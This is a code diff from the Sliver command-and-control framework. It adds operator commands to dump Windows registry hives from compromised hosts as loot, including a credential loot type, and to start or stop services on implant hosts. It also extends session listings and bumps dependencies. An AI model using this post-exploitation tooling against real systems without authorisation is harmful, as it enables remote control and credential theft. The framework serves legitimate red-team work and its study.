if session == nil && beacon == nil {
return
}
// Hopefully this command being Windows only is temporary
activeOS := getOS(session, beacon)
if activeOS != "windows" {
con.PrintErrorf("The services command is currently only available on Windows")
return
}
hostname, _ := cmd.Flags().GetString("host")
serviceName := args[0]
if serviceName == "" {
con.PrintErrorf("A service name is required")
return
}
stopService, err := con.Rpc.StopService(context.Background(), &sliverpb.StopServiceReq{
ServiceInfo: &sliverpb.ServiceInfoReq{Hostname: hostname, ServiceName: serviceName},
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if stopService.Response != nil && stopService.Response.Async {
con.AddBeaconCallback(stopService.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, stopService)
if err != nil {
con.PrintErrorf("Failed to decode response: %s\n", err)
return
}
// We only get a response with content if there is an error
if stopService.Response != nil {
con.PrintErrorf("Error when stopping %s on %s: %s", serviceName, hostname, stopService.Response.Err)
} else {
displayName := hostname
if hostname == "localhost" {
displayName = beacon.Name
}
con.PrintSuccessf("%s on %s stopped successfully", serviceName, displayName)
}
})
con.PrintAsyncResponse(stopService.Response)
} else {
if stopService.Response != nil {
con.PrintErrorf("Error when stopping %s on %s: %s", serviceName, hostname, stopService.Response.Err)
} else {
displayName := hostname
if hostname == "localhost" {
displayName = session.Name
}
con.PrintSuccessf("%s on %s stopped successfully", serviceName, displayName)
}
}
}
func ServiceStartCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
// Hopefully this command being Windows only is temporary
activeOS := getOS(session, beacon)
if activeOS != "windows" {
con.PrintErrorf("The services command is currently only available on Windows")
return
}
hostname, _ := cmd.Flags().GetString("host")
serviceName := args[0]
if serviceName == "" {
con.PrintErrorf("A service name is required")
return
}
startService, err := con.Rpc.StartServiceByName(context.Background(), &sliverpb.StartServiceByNameReq{
ServiceInfo: &sliverpb.ServiceInfoReq{Hostname: hostname, ServiceName: serviceName},
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if startService.Response != nil && startService.Response.Async {
con.AddBeaconCallback(startService.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, startService)
if err != nil {
con.PrintErrorf("Failed to decode response: %s\n", err)
return
}
// We only get a response with content if there is an error
if startService.Response != nil {
con.PrintErrorf("Error when starting %s on %s: %s", serviceName, hostname, startService.Response.Err)
} else {
displayName := hostname
if hostname == "localhost" {
displayName = beacon.Name
}
con.PrintSuccessf("%s on %s started successfully", serviceName, displayName)
}
})
con.PrintAsyncResponse(startService.Response)
} else {
if startService.Response != nil {
con.PrintErrorf("Error when starting %s on %s: %s", serviceName, hostname, startService.Response.Err)
} else {
displayName := hostname
if hostname == "localhost" {
displayName = session.Name
}
con.PrintSuccessf("%s on %s started successfully", serviceName, displayName)
}
}
}
func translateServiceStatus(status uint32) string {
switch status {
case serviceStopped:
return "Stopped"
case serviceStartPending:
return "Start Pending"
case serviceStopPending:
return "Stop Pending"
case serviceRunning:
return "Running"
case serviceContinuePending:
return "Continue Pending"
case servicePausePending:
return "Pause Pending"
case servicePaused:
return "Paused"
default:
return fmt.Sprintf("Unknown (status type: %d)", status)
}
}
func translateServiceStartup(startup uint32) string {
switch startup {
case serviceBootStart:
return "Device (System Loader; Boot)"
case serviceSystemStart:
return "Device (IOInitSystem; System)"
case serviceAutoStart:
return "Automatic"
case serviceDemandStart:
return "Manual"
case serviceDisabled:
return "Disabled"
default:
return fmt.Sprintf("Unknown (Type %d)", startup)
}
}
func PrintServices(serviceInfo *sliverpb.Services, con *console.SliverClient) {
// Get terminal width
width, _, err := term.GetSize(0)
if err != nil {
width = 999
}
if serviceInfo.Details == nil {
if serviceInfo.Error != "" {
con.PrintErrorf("Encountered the following errors while trying to retrieve service info:\n%s\n", serviceInfo.Error)
}
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
wideTermWidth := con.Settings.SmallTermWidth < width
if wideTermWidth {
tw.AppendHeader(table.Row{
"Service Name",
"Display Name",
"Status",
"Startup Type",
"Binary Path",
"Account",
})
} else {
tw.AppendHeader(table.Row{
"Service Name",
"Display Name",
"Status",
})
}
tw.SortBy([]table.SortBy{
{Name: "Service Name", Mode: table.Asc},
})
for _, service := range serviceInfo.Details {
status := translateServiceStatus(service.Status)
var row table.Row
if wideTermWidth {
startupType := translateServiceStartup(service.StartupType)
row = table.Row{
service.Name,
service.DisplayName,
status,
startupType,
service.BinPath,
service.Account,
}
} else {
row = table.Row{
service.Name,
service.DisplayName,
status,
}
}
tw.AppendRow(row)
}
con.Printf("%s\n", tw.Render())
if serviceInfo.Error != "" {
con.Println()
con.PrintWarnf("Service info may not be complete. Encountered the following errors while trying to retrieve service info:\n%s\n", serviceInfo.Error)
}
}
func PrintServiceDetail(serviceDetail *sliverpb.ServiceDetail, con *console.SliverClient) {
if serviceDetail.Response != nil && serviceDetail.Response.Err != "" {
con.PrintErrorf("%s\n", serviceDetail.Response.Err)
return
}
if serviceDetail.Detail == nil {
return
}
detail := serviceDetail.Detail
header := fmt.Sprintf("Service information for %s", detail.Name)
con.Printf("\n%s\n", header)
con.Printf("%s\n\n", strings.Repeat("-", len(header)))
con.Println("Display Name: ", detail.DisplayName)
con.Println("Description: ", detail.Description)
con.Println("Account the service runs under: ", detail.Account)
con.Println("Binary Path: ", detail.BinPath)
con.Println("Startup type: ", translateServiceStartup(detail.StartupType))
if serviceDetail.Message != "" {
con.Println("Status: ", serviceDetail.Message)
} else {
con.Println("Status: ", translateServiceStatus(detail.Status))
}
}
+18
View File
@@ -40,6 +40,24 @@ func Commands(con *console.SliverClient) []*cobra.Command {
})
carapace.Gen(registryReadCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path"))
registryReadHiveCmd := &cobra.Command{
Use: consts.RegistryReadHiveStr,
Short: "Read a hive into a binary file",
Long: help.GetHelpFor([]string{consts.RegistryReadStr + consts.RegistryReadHiveStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
RegReadHiveCommand(cmd, con, args)
},
}
flags.Bind("", false, registryReadHiveCmd, func(f *pflag.FlagSet) {
f.StringP("hive", "H", "HKLM", "root registry hive")
f.StringP("save", "s", "", "location to store data, required if not looting")
f.BoolP("loot", "X", false, "save output as loot (loot is saved without formatting)")
f.StringP("name", "n", "", "name to assign loot (optional)")
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
})
registryReadCmd.AddCommand(registryReadHiveCmd)
registryWriteCmd := &cobra.Command{
Use: consts.RegistryWriteStr,
Short: "Write values to the Windows registry",
+123
View File
@@ -21,15 +21,19 @@ package registry
import (
"context"
"fmt"
"os"
"path/filepath"
"strings"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
)
var validHives = []string{
@@ -92,6 +96,7 @@ func RegReadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
hostname, _ := cmd.Flags().GetString("hostname")
hive, _ := cmd.Flags().GetString("hive")
hive = strings.ToUpper(hive)
if err := checkHive(hive); err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -153,3 +158,121 @@ func PrintRegRead(regRead *sliverpb.RegistryRead, con *console.SliverClient) {
}
con.Println(regRead.Value)
}
func writeHiveDump(data []byte, encoder string, fileName string, saveLoot bool, lootName string, lootType string, lootFileName string, con *console.SliverClient) {
var rawData []byte
var err error
if encoder == "gzip" {
rawData, err = new(encoders.Gzip).Decode(data)
if err != nil {
con.PrintErrorf("Could not decode gzip data: %s\n", err)
return
}
} else if encoder == "" {
rawData = data
} else {
con.PrintErrorf("Cannot decode registry hive data: unknown encoder %s\n", encoder)
return
}
if fileName != "" {
err = os.WriteFile(fileName, rawData, 0600)
if err != nil {
con.PrintErrorf("Could not write registry hive data to %s: %s\n", fileName, err)
// We are not going to return here because if the user wants to loot, we may still be able to do that.
} else {
con.PrintSuccessf("Successfully wrote hive data to %s\n", fileName)
}
}
if saveLoot {
fileType := loot.ValidateLootFileType(lootType, rawData)
loot.LootBinary(rawData, lootName, lootFileName, fileType, con)
}
}
func RegReadHiveCommand(cmd *cobra.Command, con *console.SliverClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
targetOS := getOS(session, beacon)
if targetOS != "windows" {
con.PrintErrorf("Registry operations can only target Windows\n")
return
}
rootHive, _ := cmd.Flags().GetString("hive")
rootHive = strings.ToUpper(rootHive)
if err := checkHive(rootHive); err != nil {
con.PrintErrorf("%s\n", err)
return
}
saveLoot, _ := cmd.Flags().GetBool("loot")
outputFileName, _ := cmd.Flags().GetString("save")
if outputFileName == "" && !saveLoot {
con.PrintErrorf("You must provide an output file name")
return
}
if len(args) == 0 || (len(args) > 0 && args[0] == "") {
con.PrintErrorf("You must provide a registry hive to dump")
return
}
requestedHive := args[0]
lootName := ""
lootType := ""
lootFileName := ""
if saveLoot {
lootName, _ = cmd.Flags().GetString("name")
lootType, _ = cmd.Flags().GetString("file-type")
// Get implant name
implantName := ""
if session == nil {
implantName = beacon.Name
} else {
implantName = session.Name
}
if lootName == "" {
lootName = fmt.Sprintf("Registry hive %s\\%s on %s", rootHive, requestedHive, implantName)
}
if outputFileName != "" {
lootFileName = filepath.Base(outputFileName)
} else {
requestedHiveForFileName := strings.ReplaceAll(requestedHive, "/", "_")
requestedHiveForFileName = strings.ReplaceAll(requestedHiveForFileName, "\\", "_")
lootFileName = fmt.Sprintf("%s_%s_%s", implantName, rootHive, requestedHiveForFileName)
}
}
if strings.Contains(requestedHive, "/") {
requestedHive = strings.ReplaceAll(requestedHive, "/", "\\")
}
hiveDump, err := con.Rpc.RegistryReadHive(context.Background(), &sliverpb.RegistryReadHiveReq{
RootHive: rootHive,
RequestedHive: requestedHive,
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if hiveDump.Response != nil && hiveDump.Response.Async {
con.AddBeaconCallback(hiveDump.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, hiveDump)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
writeHiveDump(hiveDump.Data, hiveDump.Encoder, outputFileName, saveLoot, lootName, lootType, lootFileName, con)
})
con.PrintAsyncResponse(hiveDump.Response)
} else {
writeHiveDump(hiveDump.Data, hiveDump.Encoder, outputFileName, saveLoot, lootName, lootType, lootFileName, con)
}
}
+2 -2
View File
@@ -25,6 +25,7 @@ import (
"github.com/bishopfox/sliver/client/command/armory"
"github.com/bishopfox/sliver/client/command/beacons"
"github.com/bishopfox/sliver/client/command/builders"
"github.com/bishopfox/sliver/client/command/c2profiles"
"github.com/bishopfox/sliver/client/command/crack"
"github.com/bishopfox/sliver/client/command/creds"
"github.com/bishopfox/sliver/client/command/exit"
@@ -36,7 +37,6 @@ import (
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/command/monitor"
"github.com/bishopfox/sliver/client/command/operators"
operator "github.com/bishopfox/sliver/client/command/prelude-operator"
"github.com/bishopfox/sliver/client/command/reaction"
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/command/settings"
@@ -91,7 +91,6 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
armory.Commands,
update.Commands,
operators.Commands,
operator.Commands,
creds.Commands,
crack.Commands,
)
@@ -101,6 +100,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
jobs.Commands,
websites.Commands,
wireguard.Commands,
c2profiles.Commands,
)
// Payloads
+47 -13
View File
@@ -136,19 +136,45 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
tw.SetStyle(settings.GetTableStyle(con))
wideTermWidth := con.Settings.SmallTermWidth < width
windowsSessionInList := false
for _, session := range sessions {
if session.OS == "windows" {
windowsSessionInList = true
}
}
if wideTermWidth {
tw.AppendHeader(table.Row{
"ID",
"Name",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Locale",
"Last Message",
"Health",
})
if windowsSessionInList {
tw.AppendHeader(table.Row{
"ID",
"Name",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Process (PID)",
"Integrity",
"Operating System",
"Locale",
"Last Message",
"Health",
})
} else {
tw.AppendHeader(table.Row{
"ID",
"Name",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Process (PID)",
"Operating System",
"Locale",
"Last Message",
"Health",
})
}
} else {
tw.AppendHeader(table.Row{
"ID",
@@ -191,11 +217,19 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, username),
fmt.Sprintf(color+"%s (%d)"+console.Normal, session.Filename, session.PID),
}
if windowsSessionInList {
rowEntries = append(rowEntries, fmt.Sprintf(color+"%s"+console.Normal, session.Integrity))
}
rowEntries = append(rowEntries, []string{
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
fmt.Sprintf(color+"%s"+console.Normal, session.Locale),
con.FormatDateDelta(time.Unix(session.LastCheckin, 0), wideTermWidth, false),
burned + SessionHealth,
}
}...)
} else {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
+34 -1
View File
@@ -560,6 +560,23 @@ func (con *SliverClient) GetActiveSessionConfig() *clientpb.ImplantConfig {
IsSharedLib: true,
C2: c2s,
}
/* If this config will be used to build an implant,
we need to make sure to include the correct transport
for the build */
switch session.Transport {
case "mtls":
config.IncludeMTLS = true
case "http(s)":
config.IncludeHTTP = true
case "dns":
config.IncludeDNS = true
case "wg":
config.IncludeWG = true
case "namedpipe":
config.IncludeNamePipe = true
case "tcppivot":
config.IncludeTCP = true
}
return config
}
@@ -590,7 +607,23 @@ func (con *SliverClient) GetActiveBeaconConfig() *clientpb.ImplantConfig {
IsSharedLib: true,
C2: c2s,
}
/* If this config will be used to build an implant,
we need to make sure to include the correct transport
for the build */
switch beacon.Transport {
case "mtls":
config.IncludeMTLS = true
case "http":
config.IncludeHTTP = true
case "dns":
config.IncludeDNS = true
case "wg":
config.IncludeWG = true
case "namedpipe":
config.IncludeNamePipe = true
case "tcppivot":
config.IncludeTCP = true
}
return config
}
+11 -4
View File
@@ -145,6 +145,7 @@ const (
TrafficEncodersStr = "traffic-encoders"
C2ProfileStr = "c2profiles"
ImportC2ProfileStr = "import"
ExportC2ProfileStr = "export"
// Generic.
@@ -187,10 +188,14 @@ const (
MsfStr = "msf"
MsfInjectStr = "msf-inject"
PsStr = "ps"
PingStr = "ping"
KillStr = "kill"
TerminateStr = "terminate"
PsStr = "ps"
PingStr = "ping"
KillStr = "kill"
TerminateStr = "terminate"
ServicesStr = "services"
ServicesInfoStr = "info"
ServicesStopStr = "stop"
ServicesStartStr = "start"
GetPIDStr = "getpid"
GetUIDStr = "getuid"
@@ -219,6 +224,7 @@ const (
ChmodStr = "chmod"
ChownStr = "chown"
ChtimesStr = "chtimes"
MountStr = "mount"
MemfilesStr = "memfiles"
@@ -257,6 +263,7 @@ const (
RegistryListValuesStr = "list-values"
RegistryCreateKeyStr = "create"
RegistryDeleteKeyStr = "delete"
RegistryReadHiveStr = "hive"
PivotsStr = "pivots"
WgConfigStr = "wg-config"
WgSocksStr = "wg-socks"
+1 -1
View File
@@ -1,6 +1,6 @@
Sliver keeps an audit log of every command and its arguments executed by the server (including commands executed by operators in multiplayer mode), as well as most events (such as a new session or beacon connecting to the server). The audit log's intended use is for after-action analysis; providing a detailed history of the entire engagement, including which commands were executed on which hosts when. This will include any commands executed by any operator on any session. Note some console commands only perform actions on the "client-side" and may not appear in the audit log, but will still appear in the client's command history. Additionally, interactive commands (e.g., `shell`) may not appear in the logs aside from the initial usage of the `shell` command.
By default the audit log is located on the server at: `~/.sliver/logs/audit.json`. However, this can be changed by modifying the [`SLIVER_ROOT_DIR`](/docs?name=Environment-Variables#assets) environment variable.
By default the audit log is located on the server at: `~/.sliver/logs/audit.json`. However, this can be changed by modifying the [`SLIVER_ROOT_DIR`](/docs?name=Environment+Variables) environment variable.
#### Parsing Audit Logs
@@ -4,7 +4,7 @@ You'll want to compile from a MacOS or Linux machine, compiling from native Wind
From scratch without Docker, requirements for compiling:
- Go v1.20 or later, though we recommend Go v1.21
- Go v1.21 or later, though we recommend Go v1.22. When compiling v1.5.x use Go v1.20.7
- `make`, `sed`, `tar`, `curl`, `zip`, `cut` commands; most of these are installed by default but you may need to install `make`, `curl`, and `zip` depending on your distribution. On MacOS you may need to install XCode and accompanying cli tools.
**IMPORTANT:** The Sliver Makefile requires version information from the git repository, so you must `git clone` the repository. Using GitHub's "download zip" feature may omit the `.git` directory and result in broken builds.
+1 -1
View File
@@ -67,7 +67,7 @@ The priority of retrieval is the following:
#### NTLM/Kerberos Proxy Authentication
You can use [advanced options](/docs?name=C2-Advanced-Options) to enable the use of the `wininet` HTTP library, which supports NTLM/Kerberos authentication (Windows only). Using this library tends to be a little less stable (we have to covert Go calls to native DLL calls) and is generally more susceptible to introspection by security products as these functions are well-known and easy to hook. However, if you need NTLM/Kerberos authentication you don't have much of a choice.
You can use [advanced options](/docs?name=C2+Advanced+Options) to enable the use of the `wininet` HTTP library, which supports NTLM/Kerberos authentication (Windows only). Using this library tends to be a little less stable (we have to covert Go calls to native DLL calls) and is generally more susceptible to introspection by security products as these functions are well-known and easy to hook. However, if you need NTLM/Kerberos authentication you don't have much of a choice.
## Start the Listener
+2 -2
View File
@@ -20,8 +20,8 @@ set -e
# Creates the static go asset archives
GO_VER="1.21.4"
GARBLE_VER="1.21.4b"
GO_VER="1.22.1"
GARBLE_VER="1.22.1"
SGN_VER="0.0.3"
BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt SECURITY.md CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
+11 -10
View File
@@ -16,11 +16,12 @@ require (
github.com/Ne0nd0g/go-clr v1.0.3
github.com/alecthomas/chroma v0.10.0
github.com/cheggaaa/pb/v3 v3.1.2
github.com/chromedp/cdproto v0.0.0-20230220211738-2b1ec77315c9
github.com/chromedp/chromedp v0.9.1
github.com/chromedp/cdproto v0.0.0-20231011050154-1d073bb38998
github.com/chromedp/chromedp v0.9.3
github.com/fatih/color v1.15.0
github.com/glebarez/sqlite v1.10.0
github.com/gofrs/uuid v4.4.0+incompatible
github.com/golang/protobuf v1.5.3
github.com/google/uuid v1.4.0
github.com/gorilla/mux v1.8.1
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
@@ -45,16 +46,16 @@ require (
github.com/things-go/go-socks5 v0.0.3
github.com/xlab/treeprint v1.2.0
github.com/yiya1989/sshkrb5 v0.0.1
golang.org/x/crypto v0.17.0
golang.org/x/crypto v0.21.0
golang.org/x/exp v0.0.0-20230905200255-921286631fa9
golang.org/x/net v0.17.0
golang.org/x/sys v0.15.0
golang.org/x/term v0.15.0
golang.org/x/net v0.21.0
golang.org/x/sys v0.18.0
golang.org/x/term v0.18.0
golang.org/x/text v0.14.0
golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
google.golang.org/grpc v1.59.0
google.golang.org/protobuf v1.31.0
google.golang.org/protobuf v1.33.0
gopkg.in/AlecAivazis/survey.v1 v1.8.8
gorm.io/driver/mysql v1.5.1
gorm.io/driver/postgres v1.5.2
@@ -106,10 +107,9 @@ require (
github.com/go-sql-driver/mysql v1.7.0 // indirect
github.com/gobwas/httphead v0.1.0 // indirect
github.com/gobwas/pool v0.2.1 // indirect
github.com/gobwas/ws v1.1.0 // indirect
github.com/gobwas/ws v1.3.0 // indirect
github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466 // indirect
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect
github.com/golang/protobuf v1.5.3 // indirect
github.com/google/btree v1.1.2 // indirect
github.com/google/go-cmp v0.5.9 // indirect
github.com/google/nftables v0.1.1-0.20230115205135-9aa6fdf5a28c // indirect
@@ -122,7 +122,8 @@ require (
github.com/insomniacslk/dhcp v0.0.0-20230908212754-65c27093e38a // indirect
github.com/jackc/pgpassfile v1.0.0 // indirect
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a // indirect
github.com/jackc/pgx/v5 v5.3.1 // indirect
github.com/jackc/pgx/v5 v5.5.4 // indirect
github.com/jackc/puddle/v2 v2.2.1 // indirect
github.com/jcmturner/gofork v1.0.0 // indirect
github.com/jinzhu/inflection v1.0.0 // indirect
github.com/jinzhu/now v1.1.5 // indirect
+20 -21
View File
@@ -85,10 +85,10 @@ github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZx
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
github.com/cheggaaa/pb/v3 v3.1.2 h1:FIxT3ZjOj9XJl0U4o2XbEhjFfZl7jCVCDOGq1ZAB7wQ=
github.com/cheggaaa/pb/v3 v3.1.2/go.mod h1:SNjnd0yKcW+kw0brSusraeDd5Bf1zBfxAzTL2ss3yQ4=
github.com/chromedp/cdproto v0.0.0-20230220211738-2b1ec77315c9 h1:wMSvdj3BswqfQOXp2R1bJOAE7xIQLt2dlMQDMf836VY=
github.com/chromedp/cdproto v0.0.0-20230220211738-2b1ec77315c9/go.mod h1:GKljq0VrfU4D5yc+2qA6OVr8pmO/MBbPEWqWQ/oqGEs=
github.com/chromedp/chromedp v0.9.1 h1:CC7cC5p1BeLiiS2gfNNPwp3OaUxtRMBjfiw3E3k6dFA=
github.com/chromedp/chromedp v0.9.1/go.mod h1:DUgZWRvYoEfgi66CgZ/9Yv+psgi+Sksy5DTScENWjaQ=
github.com/chromedp/cdproto v0.0.0-20231011050154-1d073bb38998 h1:2zipcnjfFdqAjOQa8otCCh0Lk1M7RBzciy3s80YAKHk=
github.com/chromedp/cdproto v0.0.0-20231011050154-1d073bb38998/go.mod h1:GKljq0VrfU4D5yc+2qA6OVr8pmO/MBbPEWqWQ/oqGEs=
github.com/chromedp/chromedp v0.9.3 h1:Wq58e0dZOdHsxaj9Owmfcf+ibtpYN1N0FWVbaxa/esg=
github.com/chromedp/chromedp v0.9.3/go.mod h1:NipeUkUcuzIdFbBP8eNNvl9upcceOfWzoJn6cRe4ksA=
github.com/chromedp/sysutil v1.0.0 h1:+ZxhTpfpZlmchB58ih/LBHX52ky7w2VhQVKQMucy3Ic=
github.com/chromedp/sysutil v1.0.0/go.mod h1:kgWmDdq8fTzXYcKIBqIYvRRTnYb9aNS9moAV0xufSww=
github.com/cilium/ebpf v0.11.0 h1:V8gS/bTCCjX9uUnkUFUpPsksM8n1lXBAvHcpiFk1X2Y=
@@ -161,8 +161,8 @@ github.com/gobwas/pool v0.2.0/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6Wezm
github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og=
github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
github.com/gobwas/ws v1.0.2/go.mod h1:szmBTxLgaFppYjEmNtny/v3w89xOydFnnZMcgRRu/EM=
github.com/gobwas/ws v1.1.0 h1:7RFti/xnNkMJnrK7D1yQ/iCIB5OrrY/54/H930kIbHA=
github.com/gobwas/ws v1.1.0/go.mod h1:nzvNcVha5eUziGrbxFCo6qFIojQHjJV5cLYIbezhfL0=
github.com/gobwas/ws v1.3.0 h1:sbeU3Y4Qzlb+MOzIe6mQGf7QR4Hkv6ZD0qhGkBFL2O0=
github.com/gobwas/ws v1.3.0/go.mod h1:hRKAFb8wOxFROYNsT1bqfWnhX+b5MFeJM9r2ZSwg/KY=
github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466 h1:sQspH8M4niEijh3PFscJRLDnkL547IeP7kpPe3uUhEg=
github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466/go.mod h1:ZiQxhyQ+bbbfxUKVvjfO498oPYvtYhZzycal3G/NHmU=
@@ -226,8 +226,10 @@ github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsI
github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg=
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a h1:bbPeKD0xmW/Y25WS6cokEszi5g+S0QxI/d45PkRi7Nk=
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a/go.mod h1:5TJZWKEWniPve33vlWYSoGYefn3gLQRzjfDlhSJ9ZKM=
github.com/jackc/pgx/v5 v5.3.1 h1:Fcr8QJ1ZeLi5zsPZqQeUZhNhxfkkKBOgJuYkJHoBOtU=
github.com/jackc/pgx/v5 v5.3.1/go.mod h1:t3JDKnCBlYIc0ewLF0Q7B8MXmoIaBOZj/ic7iHozM/8=
github.com/jackc/pgx/v5 v5.5.4 h1:Xp2aQS8uXButQdnCMWNmvx6UysWQQC+u1EoizjguY+8=
github.com/jackc/pgx/v5 v5.5.4/go.mod h1:ez9gk+OAat140fv9ErkZDYFWmXLfV+++K0uAOiwgm1A=
github.com/jackc/puddle/v2 v2.2.1 h1:RhxXJtFG022u4ibrCSMSiu5aOq1i77R3OHKNJj77OAk=
github.com/jackc/puddle/v2 v2.2.1/go.mod h1:vriiEXHvEE654aYKXXjOvZM39qJ0q+azkZFrfEOc3H4=
github.com/jcmturner/gofork v1.0.0 h1:J7uCkflzTEhUZ64xqKnkDxq3kzc96ajM1Gli5ktUem8=
github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
github.com/jedib0t/go-pretty/v6 v6.4.6 h1:v6aG9h6Uby3IusSSEjHaZNXpHFhzqMmjXcPq1Rjl9Jw=
@@ -352,8 +354,6 @@ github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca h1:tD797h1
github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca/go.mod h1:jkLt41Ne2TD2xPuMdX/2O05Smhy8vMgG7O2TYvC0yOc=
github.com/reeflective/console v0.1.6 h1:BhhvQU/m8QOpaIRzrXfwcbtkGQJX9jVR5qIqAy/Mcuw=
github.com/reeflective/console v0.1.6/go.mod h1:7owTBE9k2lg2QpVw7g4DrK1HxEgr/5DQCmA3O2Znoek=
github.com/reeflective/readline v1.0.11 h1:4+aiebj7a89hTRJOMM98H+md1Kxu+v1XkfdCs0n6odQ=
github.com/reeflective/readline v1.0.11/go.mod h1:mcD0HxNVJVteVwDm9caXKg52nQACVyfh8EyuBmgVlzY=
github.com/reeflective/readline v1.0.13 h1:TeJmYw9B7VRPZWfNExr9QHxL1m0iSicyqBSQIRn39Ss=
github.com/reeflective/readline v1.0.13/go.mod h1:3iOe/qyb2jEy0KqLrNlb/CojBVqxga9ACqz/VU22H6A=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
@@ -450,8 +450,8 @@ golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPh
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.0.0-20220208050332-20e1d8d225ab/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/crypto v0.17.0 h1:r8bRNjWL3GshPW3gkd+RpvzWrZAwPS49OmTGZ/uhM4k=
golang.org/x/crypto v0.17.0/go.mod h1:gCAAfMLgwOJRpTjQ2zCCt2OcSfYMTeZVSRtQlPC7Nq4=
golang.org/x/crypto v0.21.0 h1:X31++rzVUdKhX5sWmSOFZxx8UW/ldWx55cbf08iNAMA=
golang.org/x/crypto v0.21.0/go.mod h1:0BP7YvVV9gBbVKyeTG0Gyn+gZm94bibOW5BjDEYAOMs=
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/exp v0.0.0-20230905200255-921286631fa9 h1:GoHiUyI/Tp2nVkLI2mCxVkOjsbSXD66ic0XW0js0R9g=
golang.org/x/exp v0.0.0-20230905200255-921286631fa9/go.mod h1:S2oDrQGGwySpoQPVqRShND87VCbxmc6bL1Yd2oYrm6k=
@@ -480,8 +480,8 @@ golang.org/x/net v0.0.0-20211111083644-e5c967477495/go.mod h1:9nx3DQGgdP8bBQD5qx
